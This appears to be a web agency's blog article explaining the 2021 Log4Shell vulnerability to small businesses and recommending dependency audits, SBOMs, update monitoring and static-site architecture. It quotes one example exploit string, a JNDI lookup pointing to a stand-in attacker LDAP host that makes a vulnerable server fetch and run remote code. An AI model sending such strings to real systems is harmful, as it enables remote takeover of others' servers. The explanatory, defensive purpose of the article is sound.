Log4Shell and What It Teaches SMEs About Software Dependencies

December 2021: The Internet Had a Very Bad Week

On December 9, 2021, a vulnerability was publicly disclosed in Log4j, a Java logging library used by millions of applications worldwide. The vulnerability, named Log4Shell (CVE-2021-44228), allowed an attacker to execute arbitrary code on any server running a vulnerable version of Log4j. No authentication required. No special access needed. Just a specially crafted text string sent to any input that gets logged.

The severity score was 10 out of 10. The maximum possible.

Within hours, attackers were scanning the entire internet for vulnerable systems. Within days, active exploitation was confirmed across cloud providers, enterprise software, government systems, and consumer applications. Apache, Amazon, Apple iCloud, Cloudflare, Steam, Tesla, Twitter, and thousands of other services were affected or potentially affected.

If your business runs any web application, this event is worth understanding. Not because of Log4j specifically (though that matters too), but because of what it reveals about how modern software is built and where the hidden risks lie.

What Is Log4j and Why Was It Everywhere?

Log4j is an open-source logging library for Java. Logging is one of the most fundamental operations in software: recording what happened, when, and where. Every web application logs events: user logins, errors, page requests, API calls. Log4j was the standard way to do this in Java applications.

Here is why a single library caused global chaos:

• Ubiquity: Log4j was used directly or indirectly by an estimated 35,000+ Java packages. It was included in Apache frameworks, Spring Boot, Elasticsearch, Minecraft, and countless enterprise applications. Many companies did not even know they were using it because it was a dependency of a dependency of a dependency.
• Trivial exploitation: An attacker only needed to cause the vulnerable application to log a specific string like ${jndi:ldap://attacker.com/exploit}. This could be done through a chat message, a search query, a user-agent header, an email subject line, or any other input that gets logged. Log4j would interpret the string, reach out to the attacker's server, download code, and execute it.
• Remote code execution: This was not a data leak or a denial of service. The attacker could run any code they wanted on your server. Install ransomware. Steal databases. Create backdoors. Mine cryptocurrency. Anything.

The Real Problem: Software Supply Chains

Log4Shell was shocking, but it should not have been surprising. The conditions that made it possible exist in every software ecosystem, not just Java. Here is why.

Modern Software Is Built on Dependencies

No one writes software from scratch anymore. A typical web application depends on hundreds or thousands of open-source libraries. A simple Node.js project with Express, a database connector, and a few utilities might pull in 300+ packages via npm. A WordPress site with 15 plugins depends on the code of 15 different development teams, each of whom depends on their own set of libraries.

This is not laziness. It is efficiency. Why write your own date formatting library when there is a well-tested one available? Why implement your own cryptographic functions (please do not) when OpenSSL exists? The problem is not using dependencies. The problem is not knowing what you depend on and not monitoring those dependencies for vulnerabilities.

Transitive Dependencies: The Invisible Risk

Your application depends on Library A. Library A depends on Library B. Library B depends on Library C. You chose Library A. You never heard of Library C. But if Library C has a vulnerability, your application is vulnerable.

This is exactly what happened with Log4j. Many companies did not use Log4j directly. They used a framework that used a library that used Log4j. Finding all instances of Log4j in a large organization took days or weeks because the dependency was buried three or four levels deep.

Software Bill of Materials (SBOM): Know What You Ship

An SBOM is a complete list of every component, library, and dependency in your software. Think of it as an ingredients list for your application. Just as food labels list every ingredient (including sub-ingredients), an SBOM lists every piece of code your application includes.

Before Log4Shell, SBOMs were mostly discussed in government procurement and critical infrastructure contexts. After Log4Shell, the entire industry started paying attention. In the United States, Executive Order 14028 (May 2021) already mandated SBOMs for software sold to the federal government. Europe is moving in a similar direction.

Why SBOMs Matter for SMEs

You might think SBOMs are an enterprise concern. They are not. If you run a web application (including a WordPress site with plugins), you have a software supply chain. An SBOM helps you answer the question every CEO wanted answered during Log4Shell: "Are we affected?"

Without an SBOM, answering that question requires your developers to manually trace every dependency in every application. With an SBOM, you search the list. The difference during a crisis is hours vs days.

How to Audit Your Dependencies (Practical Steps)

For Node.js / npm Projects

If your website or application is built with Node.js (React, Vue, Next.js, Express, or any npm-based project), auditing dependencies is straightforward:

1. Run npm audit in your project directory. This checks every dependency against the npm security advisory database and reports known vulnerabilities with severity levels (low, moderate, high, critical).
2. Run npm audit fix to automatically update packages where a non-breaking fix is available. For breaking changes, you will need to update manually and test.
3. Review your package-lock.json to understand the full dependency tree. The command npm ls --all shows every package, including transitive dependencies.

For WordPress Sites

WordPress does not have a built-in dependency auditing tool, but you can take these steps:

1. Keep an inventory of every plugin and theme installed, including version numbers.
2. Check each plugin against the WPScan Vulnerability Database (wpscan.com).
3. Remove any plugins you are not actively using. Every installed plugin is a dependency, and as we have discussed in our article on plugin vulnerabilities in CMS platforms, inactive plugins are still attack vectors.
4. Subscribe to security mailing lists for your plugins and WordPress core.

For Any Technology Stack

Several free and paid tools can help across technology stacks:

• Snyk: Free tier available. Scans your repository for known vulnerabilities in dependencies. Integrates with GitHub, GitLab, and Bitbucket. Provides fix recommendations.
• Dependabot (GitHub): Automatically creates pull requests to update vulnerable dependencies. Free for all GitHub repositories. Set it up once and it monitors continuously.
• OWASP Dependency-Check: Free, open-source tool that scans project dependencies and reports known CVEs. Works with Java, .NET, Node.js, Python, Ruby, and more.
• Trivy: Free, open-source scanner for vulnerabilities in container images, file systems, and git repositories. Particularly useful if you deploy with Docker.

Why Static/Jamstack Sites Drastically Reduce This Risk

This is where architecture decisions intersect with supply chain security. A traditional dynamic web application (WordPress, Laravel, Django, Express with server-side rendering) runs code on a server every time a visitor loads a page. That server-side code depends on libraries. Those libraries are the attack surface.

A static site (built with a Jamstack approach using tools like Astro, Next.js with static export, Hugo, or Eleventy) generates HTML files at build time. When a visitor loads your page, the server delivers a pre-built HTML file. There is no server-side code executing. No libraries running. No dependencies to exploit.

This does not mean static sites have zero dependencies. The build process still uses npm packages. But there is a critical difference: build-time dependencies are not exposed to the internet. A vulnerability in a build-time dependency cannot be exploited by a visitor to your site. The attack surface is limited to the build environment, which is typically a CI/CD pipeline that runs for a few minutes and then shuts down.

We explain this architectural advantage in depth in our comparison of static vs dynamic site security and our WordPress vs Jamstack analysis.

The Contrast Is Stark

Aspect	Dynamic Site (e.g., WordPress)	Static/Jamstack Site
Runtime dependencies	Hundreds (PHP, plugins, libraries)	Zero (just HTML/CSS/JS files)
Server-side code execution	Every page load	None in production
Log4j-type exposure	If using Java components, fully exposed	Not possible in production
Attack surface	Server + application + all dependencies	CDN serving static files
Time to patch	Immediate (server is live)	Rebuild and redeploy (minutes)

The Hidden Risk in Every CMS Plugin

Log4j was a Java library, but the same pattern applies to every ecosystem. WordPress plugins are PHP code that runs on your server. Each plugin is a dependency in your supply chain. Each plugin has its own dependencies. Each one is a potential Log4Shell waiting to happen.

In 2021 alone, hundreds of WordPress plugin vulnerabilities were disclosed. Some were in plugins with millions of installations. The supply chain attack through plugins is a well-documented pattern that has been exploited repeatedly.

The risk compounds with every plugin you add. A WordPress site with 25 plugins has 25 supply chain entry points, each maintained by a different team with different security practices, different update schedules, and different levels of ongoing attention.

Supply Chain Security: Practical Measures for SMEs

You do not need an enterprise security team to manage supply chain risk. Here are practical steps any Swiss SME can take:

1. Minimize Dependencies

Every dependency is a liability. Before adding a library or plugin, ask: do we really need this? Can we achieve the same thing with existing tools? For WordPress sites, every plugin you do not install is a vulnerability you do not have to worry about.

2. Keep Everything Updated

This sounds obvious but it is the single most effective defense. When Log4j 2.17.0 was released with the fix, organizations that updated quickly were safe. Organizations that took weeks were not. Enable automatic updates where possible. Our article on the risks of not updating your website covers this in detail.

3. Set Up Automated Monitoring

Enable Dependabot on your GitHub repositories. Connect Snyk to your codebase. These tools will notify you when a vulnerability is found in any of your dependencies, even transitive ones. This is free and takes 15 minutes to set up.

4. Consider Your Architecture

If you are building a new website or redesigning an existing one, the architecture choice has direct security implications. A static site with an API for dynamic features (the Jamstack model) has a fundamentally smaller attack surface than a monolithic CMS. This is not about trends. It is about reducing the number of things that can go wrong.

5. Vet Your Technology Partners

If a web agency builds and maintains your site, ask them: how do you manage dependencies? Do you run security audits? How quickly can you deploy a patch? If they cannot answer these questions clearly, that is a warning sign. We have written about what happens when your web agency does not update your site.

6. Generate and Maintain an SBOM

For any custom-built application, generate an SBOM as part of your build process. Tools like Syft (free, open-source) can generate SBOMs in standard formats (SPDX, CycloneDX). Store them, version them, and refer to them when the next Log4Shell hits.

What Comes Next

Log4Shell will not be the last supply chain vulnerability. The next one might be in a Python library, a JavaScript package, a Ruby gem, or a Go module. The question is not if, but when.

The companies that will handle the next incident well are the ones that have taken the steps above: they know what they depend on, they monitor for vulnerabilities, they update promptly, and they have chosen architectures that minimize their exposure.

If your business website runs on a technology stack you do not fully understand, or if you are not sure whether you would be affected by the next Log4Shell, reach out to us. We can assess your current setup, identify your supply chain risks, and recommend concrete steps to reduce your exposure. This is not theoretical. Log4Shell proved that.